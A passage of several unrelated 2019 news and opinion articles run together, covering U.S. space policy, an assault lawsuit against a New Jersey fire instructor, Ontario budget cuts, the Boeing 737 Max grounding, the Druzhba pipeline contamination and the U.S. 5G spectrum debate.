on the moon, spoke to leaders of the U.S. space community last month in Huntsville, Alabama. He came to deliver a dramatic message: The administration was unsatisfied by NASAs plan to return to the moon in 2028. Thats not fast enough, Pence said. He ordered NASA to get there within five years before, he didnt need to add, the end of what might be a second term for President Donald Trump. In multiple ways, the Trump administration is trying to project the presidents Make America Great Again rhetoric into space. Trump has vowed to ramp up the nations missile defence system with a space-based layer thats ultimately going to be a very, very big part of our defence and, obviously, of our offence. And hes pushed for the creation of a Space Force, a sixth branch of the U.S. military. Its a major shift. Space policy has always served national interests, but the United States has increasingly entered into partnerships for exploration and science. The gleaming example is the International Space Station, a joint venture that has survived geopolitical strife among member nations. The celebrated first direct image of a black hole, unveiled this month, came from an international collaboration involving telescopes on four continents. The image was created by turning the entire globe into one giant radio antenna. In a 2015 breakthrough, physicists from universities and research institutes in more than a dozen nations pooled their energies to detect gravitational waves for the first time. Read more: US astronaut to spend 11 months in space, set female record Trump orders creation of Space Force, but within Air Force Pence outlines plans to have new U.S. Space Force by 2020 And NASAs James Webb Space Telescope, the successor to the Hubble Space Telescope, includes instruments provided by Canada and Europe, and it will launch on Europes Ariane rocket from a spaceport in French Guiana. For years, U.S. space policy has been relatively immune to the most intense partisan battles in Washington. Democrats and Republicans have supported each others favoured projects a big new telescope over here, a big new rocket over there. But NASA remains an agency in the executive branch, answering to the dictates of the White House as well as powerful members of Congress. After the space shuttle Columbia disaster of 2003, President George W. Bushs administration decided NASA should retire the shuttle fleet and invest in new hardware to send astronauts to the moon by 2020. President Barack Obama was cool to the moon plan, saying been there, done that. And a presidential committee appointed by Obama concluded that the agency didnt have enough money to make the moon plan plausible. Obama ordered the agency to send astronauts to an asteroid and then eventually to Mars. Trumps election led to another pivot. Trump came into office hoping to do something dramatic in space. He expressed disappointment that NASA couldnt send humans to Mars in his first term. Pence took the helm of the National Space Council, a White House unit that had been moribund for a generation and that now put civilian and military space operations under one roof. The administration told NASA to reverse course again and cobble together a moon program, ASAP. How much the new MAGA-in-space rhetoric will translate into reality is unclear. Without additional funding from Congress or a change in the laws of physics, NASA has little chance of putting boots on the moon within Pences five-year time frame. But Pences speech certainly energized the aerospace community and jolted NASA, in part by signalling that the administration would consider a moon plan that used commercial spacecraft and not merely the hardware directly developed and owned by NASA. Its also unclear if the Space Force will materialize as a separate military service. Members of Congress on both sides of the aisle arent sure its necessary. Theres already a space command within the Air Force. To be clear: This would not involve some kind of military deployment of uniformed personnel in space, as in the movie Starship Troopers. The United States, like every other technologically advanced nation, is increasingly reliant on space for military and economic strength and needs to be prepared to protect its fleet of satellites. India blew up a satellite a few weeks ago in a demonstration of technological capability. China did the same thing in 2007 in a test that alarmed the Pentagon and national security agencies and created a cloud of space debris. Pence has called space the newest war-fighting domain. That language has been adopted by top Pentagon officials. Having carefully observed our dependencies on space, China and Russia have developed new technologies, strategies, tactics, and asymmetric capabilities specifically intended to deny our freedom of operation in space. While we would prefer space remain free from conflict, they have made space a war-fighting domain, acting defence secretary Patrick Shanahan and Gen. Joseph F. Dunford Jr., chairman of the Joint Chiefs of Staff, wrote in prepared Senate testimony earlier this month. In his March 26 speech in Huntsville, Pence cited Chinas recent success in landing the first robotic probe on the moons little-explored far side. That mission revealed their ambition to seize the lunar strategic high ground and become the worlds preeminent spacefaring nation. China has plans for a sample-return mission later this year, and India hopes to put a lander and a rover near the lunar south pole. Israel recently attempted to land a probe, which crashed. And Japan and Russia both are working on missions involving lunar landers. The European Space Agency has for many years been a reliable partner of NASA in major space missions, but after Pences speech, the Europeans had to reassess the relationship. We are in contact with NASA to discuss how Europe could play a role, and we are part of the game, Jan Woerner, director general of the European Space Agency, told The Washington Post. He noted that the Europeans are still providing a service module for NASAs Orion spacecraft, which could play a role in a lunar mission. And he said he is asking his colleagues to speed up development of elements that could be used for an ascent module to take astronauts off the moon during a lunar landing mission. He said he hopes co-operation, rather than competition, drives space policy in the future. There is no fence in space; therefore, we can work together, above all earthly borders, Woerner said. But of course there is also a political will behind space, and this is what Vice President Pence said. This is different from what is done in Europe, but we are different people. Scott Pace, a White House officials who serves as executive secretary of the National Space Council, said the reason NASA may use American-only hardware for a moon mission was pragmatic. International partners simply wont have time to craft crucial elements of a 2024 lunar landing, he said. The United States already has a NASA-owned rocket and capsule in the works both much-delayed, over budget and controversial and could potentially tap into the burgeoning commercial space industry for important elements of the moon mission architecture. Pace said international partners didnt buy into NASAs earlier Mars aspirations and had begun to drift away. The moon is a more plausible near-term target, Pace said, and the partners will be part of longer-term lunar exploration. Space in general is an environment where it helps to have partners, said Laura Grego, a senior scientist with the Union of Concerned Scientists. Its expensive, it can be dangerous, and, of course, it is the province of all human beings. TOMS RIVER, N.J. - A volunteer firefighter who decided to undergo training after her own home burned down says in a lawsuit that her instructor lured her to his house, and then beat, bound, choked and raped her. The woman said John Syers, who is listed as an instructor at the academy where the woman was training, lured her to his home in New Jerseys Lacey Township under the guise of showing off his new house, NJ.com reported . An attorney for the woman, who is named only by her initials in court documents filed Thursday, said Syers attacked his client in September 2018 while showing her his bedroom. He proceeded to restrain, beat, burn, sexually assault and strangle (her) over the course of 46 minutes, despite her continuous pleas for him to stop, Robert R. Fuggi Jr. said in a prepared statement. NJ.com spoke to Syers briefly, and he referred questions to his attorney, Stephen McGuckin. A message was left with McGuckin seeking comment. On the day of the assault, Syers and the woman shared a consensual kiss, according to the lawsuit. The suit says the woman pulled away and withdrew her consent for sexual contact. That, she said, is when Syers pinned her to his bed, strangled her, poured some kind of substance on her and repeatedly sexually assaulted her, the suit states. The woman said she went to a medical centre the text morning and was administered a rape test. Her lawyer said she has a restraining order against Syers. The lawsuit also alleges that Ocean County officials failed to properly train, supervise and protect employees against Syers. The alleged victim became a volunteer firefighter in Seaside Heights after her own home burned down. She had been training with the Ocean County Fire Academy in Waretown. The Ocean County Prosecutors Office has acknowledged an ongoing investigation. Officials in Ocean County did not return a call seeking comment from NJ.com. Wrong in principle and pointless in practice. Thats the gist of the Ford governments out-of-the-blue proposal to end out-of-country OHIP emergency medical coverage. Its wrong in principle because, on the face of it, it violates the portability principle of the Canada Health Act. Thats the straightforward proposition that Canadians are covered by their provincial health plan wherever they go to another province or indeed another country. They might not be reimbursed the full cost of the service (indeed, if they fall into the clutches of a U.S. hospital, for example, they almost certainly wont be). But medicare will reimburse at least some of the bill, usually equivalent to what it would pay at home. All provincial plans do this. Ontario would be the first to break with this long-standing pattern. The proposal is also pretty much pointless because of the tiny amount of money involved. According to Ontarios auditor general, the government paid out just $9 million last year for emergency coverage. It also spent $2.8 million to administer the program (an issue in itself) for a grand total of $11.8 million. Thats a miniscule percentage, a tiny fraction of one percentage point, of overall Ontario medical spending of $63.5 billion (with a b). Theres a good reason why you havent been reading about the issue of out-of-control spending for out-of-country medical services. Thats because it simply isnt happening. The Ford governments proposal is, in essence, a solution in search of a problem. The governments argument is that the existing program covers only a fraction of medical costs abroad. On that its correct; hospitalization coverage, for example, is a maximum of just $400 a day. A prudent traveller should take out private insurance just in case she falls ill or has an accident. But eliminating all coverage entirely takes away the little the province already covers. It will hit hardest at casual cross-border shoppers who will now have to weigh the cost of private insurance whenever they pop over to a Buffalo mall. And its a gift to private insurers who no doubt will see a spike in business if all out-of-country coverage is yanked away. In fact, the Canadian Snowbird Association estimates travellers will end up spending an additional $17 million on private travel insurance. Taxpayers will supposedly save $11.8 million, but Ontario travellers (i.e. taxpayers) will hand over quite a bit more than that to the insurance companies. What a deal. The government is also misrepresenting how this proposal came about. It says its acting on recommendations from, among others, the provincial auditor general. But in her report last year, AG Bonnie Lysyk did not suggest ending out-of-country OHIP coverage. She put a dollar figure on how much the government pays out to travellers and she suggested the government better educate the public on the fact that OHIP doesnt cover much and the wisdom of purchasing additional private insurance. Importantly, she also called attention to the disproportionate cost of administering the program about a quarter of the total cost. She urged the government to revisit opportunities to reduce administrative costs. Thats an excellent idea, one that should be right up Fords alley. The government should seize on it and get those administrative costs under control. At no point, though, did Lysyk propose ending out-of-country coverage. The government came up with that all on its own. Its hard to imagine how this proposal could be worse, but the government has managed that trick as well. It posted the idea on its website on Wednesday, and has given the public until Tuesday to respond with comments. Five whole working days. If the government was truly confident in this proposal, it would not shrink from a full debate. The fact that its trying to sneak it past Ontarians suggests the opposite: that it knows its a lousy idea but simply figures it can get away with it. There really doesnt seem to be a single environmental program, service or job that the Ford government doesnt want to cut. Even tree planting right after the government went to the trouble of changing Ontarios licence plate slogan to A Place to Grow isnt safe. In these budget-constrained times, were to believe, Premier Doug Ford and his ministers simply couldnt find $4.7 million to keep the 50 Million Tree Program going, which provides hundreds of jobs and vital environmental benefits. But, at the same time, they had no trouble finding up to $105 million to keep money-losing live horse-racing, and the gambling industry that goes with it, afloat. How does that make any sense? Calling this short-sighted doesnt begin to cover it. There are the lost jobs of growing and planting trees, yes, but the loss is so much greater than that. Trees are the lungs of the earth they absorb carbon dioxide and emit oxygen. They reduce air pollution, flooding and soil erosion, cool air, purify water and provide a home for plants, birds and wildlife. Planting trees is one of the easiest and cheapest ways to help mitigate some of the effects of climate change and protect our broader ecosystem. That isnt something that can be seen in one budget cycle or even the political lifespan of an elected politician. But good governments know that sometimes we do things because its the right thing to do, not just for us but for those who will come long after were gone. As a Manitoba farmer, Nelson Henderson, once told his son: The true meaning of life is to plant trees, under whose shade you do not expect to sit. What a shame Ford cant see that. Read more about: The programs and budgets of Toronto Public Health have become a big news item in the past week, since the city announced it had been notified abruptly by the province of immediate funding cuts. The discussion has not been calm, with Councillor Joe Cressy, the chair of the citys board of health, saying bluntly Torontonians will die, while Premier Doug Ford has responded that Cressy and others either dont understand public health or are intentionally lying. Exactly how much is being cut, and what follows from those funding changes, remains a subject of heated debate. But just to follow the debate, a lot of us could use a primer on just what exactly Toronto Public Health is and some clarity on what the heck is actually going on. What is Toronto Public Health? The department was born in 1883 after the Upper Canada legislature gave municipalities the authority to create such boards to help contain outbreaks of smallpox and typhoid and to deal with rampant water-borne illnesses due to horrendous sanitation. Toronto Public Health is mandated with prevention of illness and promotion of health a mission the current medical officer of health, Dr. Eileen De Villa, has said means an excellent outcome from their work looks like nothing is happening. An epidemic does not spread, water does not poison people, restaurant customers do not suffer food poisoning. Its success may be difficult to measure or fully appreciate for many because of this paradox of prevention. What programs does Toronto Public Health provide? Quite a few, in a series of areas. Some are straightforwardly aimed at direct illness prevention, such as food safety programs (including the DineSafe restaurant inspections) and water safety monitoring programs, or direct infectious disease control, including vaccination and immunization management and needle exchanges. Others are aimed at promoting good health, including school nutrition programs, preschool dental screening programs, tobacco cessation programs (and smoke-free workplace enforcement), and diabetes and skin cancer prevention programs. Read more: Toronto clashes with province over public health cuts Opinion | Edward Keenan: Ford government should at least have the guts to own up to their public health cuts Editorial: Public health squeeze is the unkindest cut of all from Ford Who pays for it? Under the current arrangement, the provincial and municipal governments each fund large parts of Toronto Public Healths work (with some bits of funding from other sources). Some programs right now are mandated by the provincial government meaning Toronto Public Health has no choice but to provide them and 100 per cent of the cost of some of those programs is paid by the province. Others are cost shared and are funded 75 per cent by the province and 25 per cent by the city. Looking at the big picture, before any of the recent changes were announced: the total Toronto Public Health budget was $255 million. The provincial government paid just over $170 million of that. The citys contribution was $65 million. The small remainder came from federal funding, donors, fees and other sources. What are the proposed funding changes? The bottom line is a matter of some dispute. According to the citys understanding, the province is cutting all of its contributions both the ones it now funds 100 per cent of and the ones it now covers 75 per cent of to a 50 per cent share. The cuts are being phased in over four years, but this years cuts are retroactive to April 1. The citys calculations, shared by Cressys office with the Star, show they expect the combined impact of the shift in funding to mean a reduction of $65 million in the provincial contribution this year, phased in to a total reduction of $107.6 million in 2022 and the years beyond. About $1 billion over 10 years. The provincial government disputes these numbers. While it has not been willing to publicly share its detailed breakdowns, it estimates the impact on the citys budget to be closer to $33 million this year and $42 million per year once fully phased in. Examining the math on the citys estimates seems to suggest a reason for the difference. The citys financial impact estimates assume that the city contributes no more in the future than it does now. In that case, it shows programs now funded 100 per cent by the province losing all of their funding and the provinces contribution on the programs it funds 75 per cent of falling to match the citys current 25 per cent contribution. In contrast, it appears the province, in proposing a 50/50 cost share on all of these programs, assumes the city will increase its own funding to cover half of current spending levels. This would amount to a decrease in provincial funding of roughly what the province is estimating the impact to be. This represents an assumption by the province that the city increase its contributions to maintain current service levels under the new funding formula. The actual impact, then, depends on how the city reacts, with a refusal to increase its funding contribution at all seeing a $107 million per year decrease in provincial funding and total program spending, while if the city increases its contribution to match half of current program spending levels, then it would amount to roughly $40-$50 million in lost provincial funding made up for by the city with no change to programming. An email sent by city manager Chris Murray to members of council on Thursday said that the city staff had still not received any written details of the new proposed arrangement. Murray did say that the province indicated verbally in a conference call that despite the cost-sharing changes, health units/regional public health entities are to maintain current service levels and accountabilities, which may suggest the province expects the city to increase funding to maintain current service levels. However, Murrays email also reiterated that the citys impact assessments assume no increase in the citys contribution of $43 million. How much money is $40-$50 million in the citys budget? A property tax increase of 1 per cent generates roughly $29 million in revenue. So raising taxes to make up the difference would mean an increase of roughly 1.5-2 per cent, which is roughly $45-64 per year for the average homeowner. Raising taxes could be an option in the years ahead. Of course, how to deal with the shortfall this year is harder, since the city passed its budget and mailed out tax bills months ago, and doesnt have any obvious sources of revenue mid-year. Likely funds would have to be found from another source, by cutting spending in some other area. How do they fund public health elsewhere? Cressy emphasizes that Ontario is the only province in which public health is not funded 100 per cent by the provincial government. Is Toronto being treated differently? Why? Yes. The other regional health authorities are having a different funding split proposed for them. Larger ones would see costs split 60/40, while smaller ones would see a 70/30 split with the province paying the greater share in both cases. Only Toronto is asked to pay 50 per cent of costs. Murrays email to councillors says there is no confirmed rationale from the government for the differences between the cost sharing models and the unique model proposed for Toronto. A provincial spokesperson at city hall Wednesday suggested it has to do with the economies of scale available to the provinces largest city. Correction - April 30, 2019: This article was edited from a previous version that mistakenly said the cost of Toronto Public Health programs that are mandated by the province are fully funded by the province. Read more about: OTTAWAAviation regulators from around the world will gather in several weeks to discuss the process and timeline for getting Boeing 737 Max jets back in the skies. But airlines such as Air Canada arent expecting a quick return to service as they make plans for the aircraft to remain grounded until August at the earliest, meaning more changes and potential disruptions for passengers in the busy summer season. The U.S. Federal Aviation Administration has invited top officials from civil aviation authorities around the world to a May 23 meeting to discuss its activities to ensuring the safe return of Boeing 737 MAX to service. The meeting is intended to provide participants the FAAs safety analysis that will inform its decision to return the 737 MAX fleet to service in the U.S. when it is made, the agency said in a statement. But in the wake of the two deadly crashes that prompted authorities to ground the jet in March, and questions about the U.S. certification process, authorities such as Transport Canada have signalled they intend to do their own reviews before giving the green light for the jet to resume flights. In Canada, WestJet, Air Canada and Sunwing together have 41 of the model and dozens more on order. Transport Minister Marc Garneau has said that Canada will make its own independent decision about lifting the order that grounded the jets. In the meantime, airlines have been scrambling to adjust their schedules and accommodate passengers for the busy summer season. Air Canada says that it has removed the 737 Max from its fleet schedule until Aug. 1, adding another month to its original plan that had the jet out of service until July 1. Its now making alternate travel arrangements for passengers who had been booked to fly on flights operated by the Boeing 737 Max in July. With the continued grounding of the Boeing 737 MAX aircraft, Air Canada is prudently adjusting its schedule and is finalizing arrangements for additional aircraft to transport customers to their destinations, Lucie Guillemette, executive vice-president and chief commercial officer at Air Canada, said in a statement. Air Canada has 24 Boeing 737 Max aircraft that are stuck on the ground. The scheduled delivery of another 12 by July has been suspended. Guillemette said the airlines contingency plans have been able to preserve travel schedules for 96 per cent of its passengers. Those plans include consolidating flights using larger aircraft, extending leases on aircraft it had planned to dispose of, and relying on other airlines in its alliance network. For example, next month it will use Qatar Airways to operate daily flights between Montreal and Barcelona and Paris. Omni Air International will operate flights between Vancouver and Hawaii. Final decisions on returning the 737 MAX to service will be based on Air Canada's safety assessment following the lifting of government safety notices and approval by international regulatory authorities, Guillemette said. WestJet, which has 13 of the 737 Max jets, has planned that the aircraft will be out of operation until the end of June. But with its return to service still unknown, the airline is making pre-emptive updates to avoid last-minute cancellations, spokesperson Morgan Bell said Friday. WestJet is closely in contact with our partners at Boeing, Transport Canada and other regulators to understand how and when to safely reintroduce the MAX aircraft into service, Bell told the Star in an email. Boeing has cited an automated safety system installed on this version of the popular jet to protect it from an aerodynamic stall as a factor in the two fatal crashes, one in Ethiopia in March and another in Indonesia in October. In each crash, its believed that erroneous air data caused the system to pitch the jet into a nosedive that the pilots were unable to recover from. The aerospace giant has been working on software fix to correct the systems shortcomings but getting the green light from wary regulators who are already facing questions about their original approval of the 737 Max will take time. This week, Boeing chairman and CEO Dennis Muilenburg said flight testing of the software fix had been completed and that the next step was a certification flight for the FAA. Subsequent steps would include, again, bringing all of the global regulators together with the FAA's leadership to approve the return to service, he told an investors call. There is still clearly a lot of work to go as we get through certification. Another pacing item for us will be training ... and then alignment of all the regulatory agencies on the approval to get the airplane back up in service and back flying. Meanwhile, certification of the Boeing 737 Max the latest version of a popular jet that dates back to the 1960s along with the automated system cited in the two fatal crashes, goes under the microscope starting Monday. Transport Canada is one of nine regulators taking part in the technical review convened by the FAA to conduct a comprehensive review of the certification of the aircrafts automated flight control system. The team will evaluate aspects of the 737 MAX automated flight control system, including its design and pilots interaction with the system, to determine its compliance with all applicable regulations and to identify future enhancements that might be needed, the FAA said in a statement. The team is scheduled to hold its first meeting Monday and expects its work to take 90 days. Read more about: Heres why Doug Ford loves talk radio. He gets to speak his mind. Especially when he cant stand what hes hearing from the seat of his chauffeured SUV. Thats what happened when Globals Alan Carter had me on his AM 640 noon show last Monday. As premier, you get to jump the queue no waiting to be invited on the show, no sitting in line behind other callers. When Ford speaks, talk radio listens. And when the premier shares his brainwaves on the airwaves, it opens a window into his heart and soul. Beyond his obsession with booze, the premier has other passions and compassion, he insists, for the people whose lives are being upended by his latest budget cuts, be they people who need legal aid, hospital patients, or high school students and teachers. More on that later. What truly got our teetotalling premiers goat was the question of pushing booze on the province. Read more: Opinion | Martin Regg Cohn: How to make Doug Fords beer fantasy come true at no cost Beer in corner stores could cost Ontario taxpayers $1 billion, industry sources say Cuts to legal aid leave refugees, immigrants in the lurch Carter had asked me about Fords latest fundraising letter, in which the Tories talked up beer in corner stores with this carefully crafted pitch: You arent a baby and the government shouldnt treat you like one. Call me a crybaby but Ive never been a fan of beer in convenience stores, not for reasons of maturity but efficiency I long ago advocated for it in supermarkets to keep costs down, and can wait until the current distribution agreement expires in 2025. What worries me more is a premier who doesnt sweat the details his gamble on prematurely breaking an ironclad contract with the big brewers just to please the convenience store lobby (damn the damages, even if its a billion-dollar boondoggle); his empty buck-a-beer promise (fizzled fast); and his vow to fire the Six Million Dollar Man who ran Hydro One (at no cost except the subsequent fees that cost the utility $130 million). But back to Fords latest fundraising tactics. Give the Tories credit for clever clickbait, written to push the buttons of their loyal donor base: You should click here to donate $1 right now. Listening to us deconstruct his tactics on the radio, Ford felt baited enough to berate us. Thanks for saying all that misleading stuff that forced me to call because I was just, I almost hit three telephone poles listening to (you guys) mislead the public, the premier complained on the air. After letting Ford defend his honour on buck-a-beer (A couple of beer companies were able to go in there), and rebut the Hydro One hit (Thats not 100 per cent accurate), Carter used his anchoring skills to redirect Ford toward other challenges facing the province. Non-alcoholic issues. Like the 30 per cent cut to legal aid buried in this months budget: This is what drives me crazy, Alan, that no one does their research, the premier countered. OK, the lawyers are making more money than the people that actually need the system to help them. Interestingly, my own research reveals that legal aid is designed to compensate lawyers (at a relatively low rate) for their work not to put money into the hands of clients. Never mind, Ford has a better answer: If anyone needs support on legal aid, feel free to call my office. I will guarantee you that you will have legal aid. There you have it just call me. If Ford can pick up the phone and get on talk radio no trouble, surely an indigent person needing a lawyer can get through to the premiers office based on this publicly stated personal guarantee. And then Ford showed his soft spot for the refugee claimants he has publicly berated as illegals over the past year, and specifically targeted this month. Beyond the cuts, legal aid has also been ordered to stop any work on asylum cases, forcing people to wait for Ottawa to pick up the slack. But the premier volunteered that he understands what they are going through. By the way I dont blame these folks Id be doing the same if I lived in a country that isnt providing a lifestyle for myself and my family, he mused. Empathy, however, only goes so far. Ford then lapsed into what he so often does take a complicated issue and oversimplify it by implying that anyone who slips into Canada between crossing points must be an impostor, not a deserving refugee or a desirable immigrant. I get calls all the time, those are the people Id call immigrants, those are the people that support us ... pay their taxes and raise their family. And then you have the refugees. I have no problem with refugees, theyre leaving war-torn countries, theyre in line. And then there are illegal border-crossers who Ford claims are all scamming the system. In fact, while many border-crossers are rejected as unqualified, many others have had their refugee status confirmed and been allowed to stay, while Ottawa looks for a fix. But the premier has made his point, and hes sticking to it. He has laid down the law, and he wants it enforced: We have rules. You cant jump the line. Unless youre the premier trying to get on talk radio. Then you go to the front of the line. Read more about: A major Russian oil pipeline will remain shut for another week as its operators resolve a chemical contamination that forced refiners in Eastern Europe to stop taking crude deliveries. Talks in Minsk between officials from countries along the crucial oil conduit agreed on a technical solution that's now under review, Poland's pipeline operator said on Friday. Russia has said it will resume shipping untainted crude through the pipeline from May 3, its counterpart from Ukraine said on Facebook. Separately, Russia's pipeline operator Transneft PJSC said it had identified the source of the contamination, blaming a private storage terminal in the center of the country for feeding chlorides into the pipeline. These developments were the first signs that an escalating crisis that choked off one of Europe's main sources of crude and helped lift prices to a six-month high was finally coming under control. Although refiners in countries including Poland and Germany will suffer a lengthy disruption to their feedstock, several companies said they had sufficient inventories to see them through. After rising above $75 a barrel on Thursday for the first time since October, international benchmark Brent crude slumped 3.5 percent to $71.75 at 5:11 p.m. in London on Friday. Pumping through the southern section of the Druzhba pipeline into central and eastern Europe was halted overnight, Ukraine said. That brought the link to a complete stop since the larger northern branch of the link through Belarus into Poland and Germany had already shut down. Europe will be deprived of least 1 million barrels a day of crude flows for the duration of the outage. The halt comes at a critical time for a global oil market that's been hit by restricted supplies of so-called heavier crudes from the likes of Iran, Venezuela, Canada and even Mexico. That's on top of a pact by producers including Saudi Arabia and Russia to collectively limit production that's seen prices steadily rising for several months. While the shutdown was initially bullish for oil prices, early fears about the impact may have been overblown, according to PVM Oil Associates Ltd. in London. "Refineries usually hold ample crude stockpiles to guard against such disruptions," analyst Stephen Brennock said in a research note. "Little wonder then that the initial knee-jerk price reaction petered out." The piped oil became tainted by organic chlorides that, when refined, become hydrochloric acid that can damage the plants. The issue, first raised by Belarus last week, has also affected supplies from the Russian port of Ust-Luga in the Baltic Sea, according to a person familiar with the matter. There are no signs that shipments from Novorossiysk or Primorsk, two other Russian tanker-loading facilities, have been disrupted. Prices for crude from Primorsk, which is also in the Baltic Sea, surged to the highest observed by Bloomberg since at least August 2013, while two cargoes from Ust-Luga didn't find buyers, according to traders familiar with the matter. Transneft said it's screening cargoes from the port but they're not exceeding contractually agreed amounts of organic chlorides, even if levels are elevated. In a sign that oil traders were scrambling for replacement barrels, the premium for Brent crude for immediate delivery over supplies in six months time surged to as much as $3.25 a barrel on Thursday, the widest spread in about five years. The gap narrowed to $2.70 on Friday. Organic chlorides are not naturally occurring and are used in upstream processes to boost output, "but must be removed before bringing crude parcels to market," said Amrita Sen, chief oil analyst at consultant Energy Aspects Ltd. The northern part of the pipeline delivered about 730,000 barrels a day of crude to Germany and Poland in the final five months of last year, Russian Energy Ministry data show. As much as 1.5 million barrels a day are at risk, according to data compiled by Bloomberg. That equates to about a 10th of Europe's entire consumption -- and more for the countries directly affected. The Druzhba pipeline divides in Belarus, with the southern section supplying refineries in countries including the Czech Republic, Slovakia and Hungary. Belarus, which sits between Russia and Poland, complained late last week that its refineries could suffer damage from the contamination. Poland's biggest refiners, Grupa Lotos SA and PKN Orlen SA, said Thursday their productivity won't be affected. The PCK-Schwedt refinery on the German-Polish border has enough crude stocks for 10 days, spokeswoman Vica Fajnor said by phone on Friday. The plant could get substitute supplies from the Baltic port of Rostock before those inventories are exhausted. Germany's energy security won't be affected by the incident and the country has a 90-day oil supply in reserve, the Economy and Energy Ministry told Bloomberg. Supplies of oil and refined products to the Polish market will be maintained from stockpiles until the situation is resolved, according to PERN, the nation's pipeline operator. If the halt is prolonged, the refiners could import crude through the Gdansk port on the Baltic Sea, it said. While the contamination threatened refiners, analysts saw few risks for Russian oil producers, unless the situation lasted for more than a couple of weeks. "Russian oil producers can raise their export volumes to Europe via domestic sea ports, or in the worst case resume shipments via ports of the Baltic states," said Andrey Polischuk from Raiffeisenbank in Moscow. "So the halt in Druzhba shipments are unlikely to have any visible impact on our output at all." If the pipeline were fully shut down for more than a few weeks, producers may need to start looking into additional output cuts, said Ildar Davletshin, an analyst at Wood & Co. in London. --- Bloomberg's Jake Rudnitsky, Javier Blas, Julian Lee, Sherry Su, Alex Longley and Brian Parkin contributed to this report. Former GOP House Speaker Newt Gingrich assailed the Trump administration's strategy for rolling out 5G wireless technology, saying the U.S. risks forfeiting leadership to China's Huawei Technologies and joined critics from both parties who urge a focus on different airwaves. "We are losing to Huawei," Gingrich said Thursday in an interview, calling for "dramatically better leadership out of the White House than we're getting now." Gingrich, usually a reliable supporter of President Donald Trump, says the government is betting on the wrong type of airwaves, a view shared by Democratic and Republican members of the U.S. Federal Communications Commission. They say the nation should move swiftly to frequencies that can carry signals farther. The former Georgia lawmaker spoke less than two weeks after Trump touted his strategy at a White House event, saying the U.S. "must win" the race for 5G and said the FCC is "is taking very bold action." The involvement by Gingrich heightens attention on the multi-billion dollar debate over how best to build a the new, super-fast network that promises to transform everything from cars to video feeds and household appliances via millions of connected devices, including mobile phones. FCC Commissioner Jessica Rosenworcel has said the agency is turning to high-frequency airwaves while other countries have chosen lower frequencies that carry signals greater distances. On Thursday, FCC Commissioner Michael O'Rielly, a Republican, said at a New York conference that the agency's actions on the lower frequencies "haven't been on par" leaving supply "nowhere close to meeting demand." Both Verizon Communications Inc. and AT&T Inc. are using high-frequency airwaves as part of their nationwide 5G efforts. But the signals require three to four times as many cell sites as the current 4G networks. Walt Piecyk, an analyst with BTIG LLC, tested Verizon's 5G service in Chicago. He found it to be a very fast but limited to an area of about 200 feet. For better coverage, he says Verizon needs to add more midrange airwaves to its network. "The current state of Verizon's 5G network is hardly reliable," Piecyk said. On Wednesday, Verizon Chief Executive Officer Hans Vestberg said the high-frequency airwaves have "lived up to our expectation on performance." "We're very early on in - in improving the software, how we can deal with it," Vestberg said during an earnings call. The FCC, led by Republican Chairman Ajit Pai, rejects the notion that it gives undue emphasis to high frequencies. "Strong 5G networks will require low-, mid-, and high-band spectrum. That's why the FCC's 5G FAST Plan focuses on making all three available," Neil Grace, a spokesman, said in an email. He said the FCC plans to auction a swath of lower-frequency airwaves next year, and is examining two other swaths for action. The 5G technology rides over radio waves, and the FCC is in the midst of a years-long effort to find ways to accommodate current users while opening frequencies for the new service. Recently the agency commenced two auctions to sell rights to high-frequency spectrum, and it announced a third such sale on April 12, with Pai appearing alongside Trump at the White House. The high-frequency airwaves carry a lot of information, and do so very quickly -- but they don't travel far. Coverage can be limited to a few hundred yards. The lower frequencies called for by Gingrich and other critics don't carry as much data as quickly as the high frequencies. But they go farther, allowing coverage in areas outside dense cities and suburbs. Many of the airwaves needed are designated for military use, and the Defense Department has been loath to allow civilian uses, said Gingrich. "It's been breathtaking how hostile the Defense Department bureaucracy is," Gingrich said, adding that he has no economic interest in the issue. The rest of the world is using the lower-frequency airwaves as it pursues 5G development, according to the Defense Innovation Board, a federal advisory committee that informs the secretary of defense. "The United States may find itself without a global supply base if it continues to pursue a spectrum range divergent from the rest of the world" the board said in its April 3 report, adding that "it is likely that China, the current leader in that space, will lead the charge." "China's handset and internet applications and services are likely to become dominant, even if they are excluded from the U.S." That dominance could be exercised by Huawei, which spent $15.3 billion on research last year as it seeks to dominate the next generation of wireless service. The Trump administration accuses the Shenzhen-based company of potentially aiding Beijing in espionage - something it has repeatedly denied - and is orchestrating a campaign to block it from 5G rollouts around the globe. The board recommended that the Pentagon share airwaves with other users. Already the FCC has devised one model, allowing commercial providers to use airwaves assigned to Navy radar. Current attitudes make more sharing a tough sale, said Rob Spalding, a retired Air Force brigadier general who is now a senior fellow at the Hudson Institute, a policy group. "In terms of getting the Defense Department to share, I would call that completely dead," Spalding said. He cited reluctance from the Pentagon. "They view 5G as a civilian problem and not their responsibility, so why would they commit their airwaves?" Carriers "recognize you need all types of spectrum to get the most potential out of 5G," Tom Power, general counsel of CTIA, a trade group, said in an interview. "The U.S. is leading the world in terms of making high-band available. The FCC is working to make mid-band available, and we welcome all these efforts." There's no need for a wholesale network, in part because carriers invest heavily and already sell wholesale access to providers such as TracFone Wireless Inc., Power said. "We don't need to modify a model that has been effective for years in allowing the U.S. to lead in wireless deployment and investment," he said. Trump at the White House event rejected an alternative of "leading through the government" saying "we don't want to do that because it won't be nearly as good, nearly as fast." Republican strategist Karl Rove has registered to lobby for Rivada Networks LLC, a closely held company led by an Irish executive who wants to use airwaves now devoted to Pentagon uses for a wholesale 5G network that would be offered to multiple providers. Declan Ganley, Rivada's chief executive officer, said he welcomed Trump's rejection of a government-run network. Rivada would pay the government for using shared airwaves, Ganley said. He said there "a real willingness" among Pentagon officials to allow use of airwaves when military functions don't need the frequencies. "What we're looking to do is build a privately funded, privately led, privately operated wholesale open-access 5G network," Ganley said in an interview. Rivada has assembled a board that includes former Florida Governor Jeb Bush, a Republican, and former Maryland Governor Martin O'Malley, a Democrat, and former Sprint Corp. Chief Financial Officer Joseph Euteneuer. Rivada lost a battle in 2017 with AT&T for a contract to run a national network for emergency workers. A federal judge agreed with an assessment that Rivada, while offering a low-priced service, appeared to lack financial capacity and didn't show it could attract customers. The officials didn't consider Rivada's partners, said Brian Carney, a spokesman for the company. - - - With assistance from Scott Moritz. North Korean leader Kim Jong Un used talks with Russian President Vladimir Putin to accuse the U.S. of "bad faith" in nuclear talks, warning that the current detente on the Korean Peninsula was at risk. Kim told Putin during a meeting in Vladivostok that the dispute with the U.S. could "return to its original state," the state-run Korean Central News Agency said Friday, in an apparent reference to the cycle of threats and counter-threats by both sides. Earlier, Putin told reporters that Kim had asked him at their Thursday summit to "inform 